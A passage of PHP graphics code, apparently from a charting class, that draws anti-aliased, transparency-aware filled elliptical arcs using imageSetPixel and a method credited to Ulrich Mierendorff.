                imageSetPixel($img, $cx + $xp * ($x1 - 1) + $xa, $cy + $yp
* $y + $ya, $diffColor2);
              }

            }
            if ($stop < ($i + 1) * M_PI / 2 && $y <= $yStop)
{
              $diffColor1 = imageColorExactAlpha($img, $color[0],
$color[1], $color[2], 127 - (127 - $color[3]) * $error1);
              $x2 = $_x1;if (!$aaStopX) {
                imageSetPixel($img, $cx + $xp * ($x2 + 1) + $xa, $cy + $yp
* $y + $ya, $diffColor1);
              }

            } else {
              $x = $a * sqrt(1 - ($y * $y) / ($b * $b));
              $error = $x - (int) ($x);
              $x = (int) ($x);
              $diffColor = imageColorExactAlpha($img, $color[0], $color[1],
$color[2], 127 - (127 - $color[3]) * $error);
              $x1 = $x;if ($y < $aaAngleY && $y < $yStart) {
                imageSetPixel($img, $cx + $xp * ($x1 + 1) + $xa, $cy + $yp
* $y + $ya, $diffColor);
              }

            }
          }
        }
      }
    }

    public function imageSmoothArc(&$img, $cx, $cy, $w, $h, $color,
$start, $stop)
    {
      // Originally written from scratch by Ulrich Mierendorff, 06/2006
      // Rewritten and improved, 04/2007, 07/2007
      // compared to old version:
      // + Support for transparency added
      // + Improved quality of edges & antialiasing

      // note: This function does not represent the fastest way to draw
elliptical
      // arcs. It was written without reading any papers on that subject.
Better
      // algorithms may be twice as fast or even more.

      // what it cannot do: It does not support outlined arcs, only filled

      // Parameters:
      // $cx      - Center of ellipse, X-coord
      // $cy      - Center of ellipse, Y-coord
      // $w       - Width of ellipse ($w >= 2)
      // $h       - Height of ellipse ($h >= 2 )
      // $color   - Color of ellipse as a four component array with RGBA
      // $start   - Starting angle of the arc, no limited range!
      // $stop    - Stop     angle of the arc, no limited range!
      // $start _can_ be greater than $stop!
      // If any value is not in the given range, results are undefined!

      // This script does not use any special algorithms, everything is
completely
      // written from scratch; see http://de.wikipedia.org/wiki/Ellipse for
formulas.

      while ($start < 0) {
        $start += 2 * M_PI;
      }

      while ($stop < 0) {
        $stop += 2 * M_PI;
      }

      while ($start > 2 * M_PI) {
        $start -= 2 * M_PI;
      }

      while ($stop > 2 * M_PI) {
        $stop -= 2 * M_PI;
      }

      if ($start > $stop) {
        $this->imageSmoothArc($img, $cx, $cy, $w, $h, $color, $start, 2
* M_PI);
        $this->imageSmoothArc($img, $cx, $cy, $w, $h, $color, 0,
$stop);
        return;
      }

      $a = 1.0 * round($w / 2);
      $b = 1.0 * round($h / 2);
      $cx = 1.0 * round($cx);
      $cy = 1.0 * round($cy);

      $aaAngle = atan(($b * $b) / ($a * $a) * tan(0.25 * M_PI));
      $aaAngleX = $a * cos($aaAngle);
      $aaAngleY = $b * sin($aaAngle);

      $a -= 0.5; // looks better...
      $b -= 0.5;

      for ($i = 0; $i < 4; $i++) {
        if ($start < ($i + 1) * M_PI / 2) {
          if ($start > $i * M_PI / 2) {
            if ($stop > ($i + 1) * M_PI / 2) {
              $this->imageSmoothArcDrawSegment($img, $cx, $cy, $a, $b,
$aaAngleX, $aaAngleY, $color, $start, ($i + 1) * M_PI / 2, $i);
            } else {
              $this->imageSmoothArcDrawSegment($img, $cx, $cy, $a, $b,
$aaAngleX, $aaAngleY, $color, $start, $stop, $i);
              break;
            }
          } else {
            if ($stop > ($i + 1) * M_PI / 2) {
              $this->imageSmoothArcDrawSegment($img, $cx, $cy, $a, $b,
$aaAngleX, $aaAngleY, $color, $i * M_PI / 2, ($i + 1) * M_PI / 2, $i);
            } else {
              $this->imageSmoothArcDrawSegment($img, $cx, $cy, $a, $b,
$aaAngleX, $aaAngleY, $color, $i * M_PI / 2, $stop, $i);
              break;
            }
          }
        }
      }
    }
  }
}